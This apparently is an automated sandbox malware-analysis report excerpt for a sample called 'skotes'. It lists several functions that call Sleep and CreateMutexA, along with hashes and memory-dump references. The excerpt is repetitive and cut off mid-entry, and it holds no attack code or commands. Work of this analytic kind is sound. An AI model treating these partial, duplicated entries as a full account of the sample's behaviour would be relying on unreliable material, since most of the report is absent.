Opcode Fuzzy Hash: 7365b70b3a599562db5e86d4e4dab703cedf7a7a93c3bc81e1cf05b7149658c3
Instruction Fuzzy Hash: 99310731B121009BEB08EBB8D8CDBEDB663EF85310F28465DE0589B3D5D77589C08766

Function 0061A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 0137015d509ac9332f5a91d84d7cb421cf9dc3915975f82569e69f906f174f8c
Instruction ID: 1037ddd0919b48d1c2b98dbe4a5b13931d8abe82319b31c082b00567d13a8411
Opcode Fuzzy Hash: 0137015d509ac9332f5a91d84d7cb421cf9dc3915975f82569e69f906f174f8c
Instruction Fuzzy Hash: E9312831B061008BEB08DBB8DDC9BEDB763EB85314F28465DE0589B3D6C73589C08766

Function 0061A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 6743a2c4a64146b8ba94d23141045e4524cce59f0d99e29b69017e2adeb6b369
Instruction ID: 6b5bfcf241d986c508b3608952c489369a23ad7b041b5be71043457389752e02
Opcode Fuzzy Hash: 6743a2c4a64146b8ba94d23141045e4524cce59f0d99e29b69017e2adeb6b369
Instruction Fuzzy Hash: 3B3107317121009BEB089BB8DD897EDB763DB85310F28865DE028DB3E5D7758AC08766

Function 00619ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 24854da076f6223e0eefc76afa84b5f05b2f3377d0cc51adda83285c2d95d83f
Instruction ID: 9daef84d55be9817f8bf457d18d088497f06569f42f8a2526a547de7a18ce90e
Opcode Fuzzy Hash: 24854da076f6223e0eefc76afa84b5f05b2f3377d0cc51adda83285c2d95d83f
Instruction Fuzzy Hash: A0213A317152009BEB189B68EC897EDB763EBC5310F28465DE41CC77E5DB7559C08B21

Function 0061A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: b13efa13dd30196b49f19589537867452a825a07e3966d2a8b963166039b469b
Instruction ID: 22f6f31b9784d985d3fb9b6e1affffa0d61fa50c9815ea667a75f397683d0518
Opcode Fuzzy Hash: b13efa13dd30196b49f19589537867452a825a07e3966d2a8b963166039b469b
Instruction Fuzzy Hash: F9213D717562019AE764A7EDA88A7FDB223DF81300F2C091AE44CD73D2CA7649C18267

Function 0061A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 0e35d549b437ac66f1839ac92e45ff1b2cb8790e461da1b13474f616f545b220
